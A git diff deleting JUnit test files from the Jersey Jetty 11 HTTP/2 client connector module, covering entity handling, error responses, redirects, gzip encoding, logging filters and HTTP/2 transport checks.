-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-import java.io.IOException;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
-        ClientRequestFilter, ClientResponseFilter {
-
-    static int preFilterCalled = 0;
-    static int postFilterCalled = 0;
-
-    @Override
-    public void filter(ClientRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        postFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        postFilterCalled++;
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
deleted file mode 100644
index 0f508ca..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jackson.JacksonFeature;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import jakarta.xml.bind.annotation.XmlRootElement;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class EntityTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class EntityResource {
-
-        @GET
-        public Person get() {
-            return new Person("John", "Doe");
-        }
-
-        @POST
-        public Person post(Person entity) {
-            return entity;
-        }
-
-    }
-
-    @XmlRootElement
-    public static class Person {
-
-        private String firstName;
-        private String lastName;
-
-        public Person() {
-        }
-
-        public Person(String firstName, String lastName) {
-            this.firstName = firstName;
-            this.lastName = lastName;
-        }
-
-        public String getFirstName() {
-            return firstName;
-        }
-
-        public void setFirstName(String firstName) {
-            this.firstName = firstName;
-        }
-
-        public String getLastName() {
-            return lastName;
-        }
-
-        public void setLastName(String lastName) {
-            this.lastName = lastName;
-        }
-
-        @Override
-        public String toString() {
-            return firstName + " " + lastName;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider())
-                .register(JacksonFeature.class);
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
-                .post(Entity.xml(new Person("John", "Doe"))).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
-                .get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
deleted file mode 100644
index 64d8198..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.ClientErrorException;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class ErrorTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(ErrorResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-
-    @Path("/test")
-    public static class ErrorResource {
-        @POST
-        public Response post(String entity) {
-            return Response.serverError().build();
-        }
-
-        @Path("entity")
-        @POST
-        public Response postWithEntity(String entity) {
-            return Response.serverError().entity("error").build();
-        }
-    }
-
-    @Test
-    public void testPostError() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntity() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntityAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
deleted file mode 100644
index 2604f9b..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
+++ /dev/null
@@ -1,129 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-import java.io.IOException;
-import java.net.URI;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class FollowRedirectsTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
-
-    @Path("/test")
-    public static class RedirectResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("redirect")
-        public Response redirect() {
-            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(RedirectResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    private static class RedirectTestFilter implements ClientResponseFilter {
-        public static final String RESOLVED_URI_HEADER = "resolved-uri";
-
-        @Override
-        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
-            if (responseContext instanceof ClientResponse) {
-                ClientResponse clientResponse = (ClientResponse) responseContext;
-                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
-            }
-        }
-    }
-
-    @Test
-    public void testDoFollow() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        Response r = t.path("test/redirect")
-                .register(RedirectTestFilter.class)
-                .request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-        c.close();
-    }
-
-    @Test
-    public void testDoFollowPerRequestOverride() {
-        WebTarget t = target("test/redirect");
-        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
-        Response r = t.request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDontFollow() {
-        WebTarget t = target("test/redirect");
-        assertEquals(303, t.request().get().getStatus());
-    }
-
-    @Test
-    public void testDontFollowPerRequestOverride() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget t = client.target(u);
-        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        Response r = t.path("test/redirect").request().get();
-        assertEquals(303, r.getStatus());
-        client.close();
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
deleted file mode 100644
index 29bb444..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.util.Arrays;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class GZIPContentEncodingTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    @Path("/")
-    public static class Resource {
-
-        @POST
-        public byte[] post(byte[] content) {
-            return content;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(Resource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(GZipEncoder.class);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target();
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig config = new ClientConfig();
-        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-
-        client.close();
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
deleted file mode 100644
index ac6870a..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
+++ /dev/null
@@ -1,220 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.InvocationCallback;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class HelloWorldTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
-    private static final String ROOT_PATH = "helloworld";
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testConnection() {
-        Response response = target().path(ROOT_PATH).request("text/plain").get();
-        assertEquals(200, response.getStatus());
-    }
-
-    @Test
-    public void testClientStringResponse() {
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-    }
-
-    @Test
-    public void testAsyncClientRequests() throws InterruptedException {
-        final int REQUESTS = 20;
-        final CountDownLatch latch = new CountDownLatch(REQUESTS);
-        final long tic = System.currentTimeMillis();
-        for (int i = 0; i < REQUESTS; i++) {
-            final int id = i;
-            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
-                @Override
-                public void completed(Response response) {
-                    try {
-                        final String result = response.readEntity(String.class);
-                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
-                    } finally {
-                        latch.countDown();
-                    }
-                }
-
-                @Override
-                public void failed(Throwable error) {
-                    error.printStackTrace();
-                    latch.countDown();
-                }
-            });
-        }
-        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
-        final long toc = System.currentTimeMillis();
-        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
-    }
-
-    @Test
-    public void testHead() {
-        Response response = target().path(ROOT_PATH).request().head();
-        assertEquals(200, response.getStatus());
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals("foo/bar", response.getMediaType().toString());
-        assertEquals(0, response.getLength());
-    }
-
-    @Test
-    public void testTextPlainOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-        final String responseBody = response.readEntity(String.class);
-        _checkAllowContent(responseBody);
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testMissingResourceNotFound() {
-        Response response;
-
-        response = target().path(ROOT_PATH + "arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-
-        response = target().path(ROOT_PATH).path("arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientClass() {
-        Client client = client();
-        client.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientInstance() {
-        Client client = client();
-        client.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterTargetClass() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetInstance() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testConfigurationUpdate() {
-        Client client1 = client();
-        client1.register(CustomLoggingFilter.class).property("foo", "bar");
-
-        Client client = ClientBuilder.newClient(client1.getConfiguration());
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
deleted file mode 100644
index 71b1361..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import java.util.List;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Tests the HTTP2 presence.
- *
- */
-public class Http2PresenceTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            return "POST";
-        }
-
-        @GET
-        public String testUserAgent(@Context HttpHeaders httpHeaders) {
-            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
-            if (requestHeader.size() != 1) {
-                return "FAIL";
-            }
-            return requestHeader.get(0);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
-
-        assertEquals(200, response.getStatus());
-        assertTrue(response.hasEntity());
-    }
-
-    @Test
-    public void testHttp2Presence() {
-        final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
-        assertTrue(provider instanceof JettyHttp2ConnectorProvider);
-
-        final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target());
-        assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2);
-    }
-
-    /**
-     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
-     */
-    @Test
-    public void testUserAgent() {
-        String response = target().path("test").request().get(String.class);
-        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
-    }
-}
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
deleted file mode 100644
index cb3b319..0000000
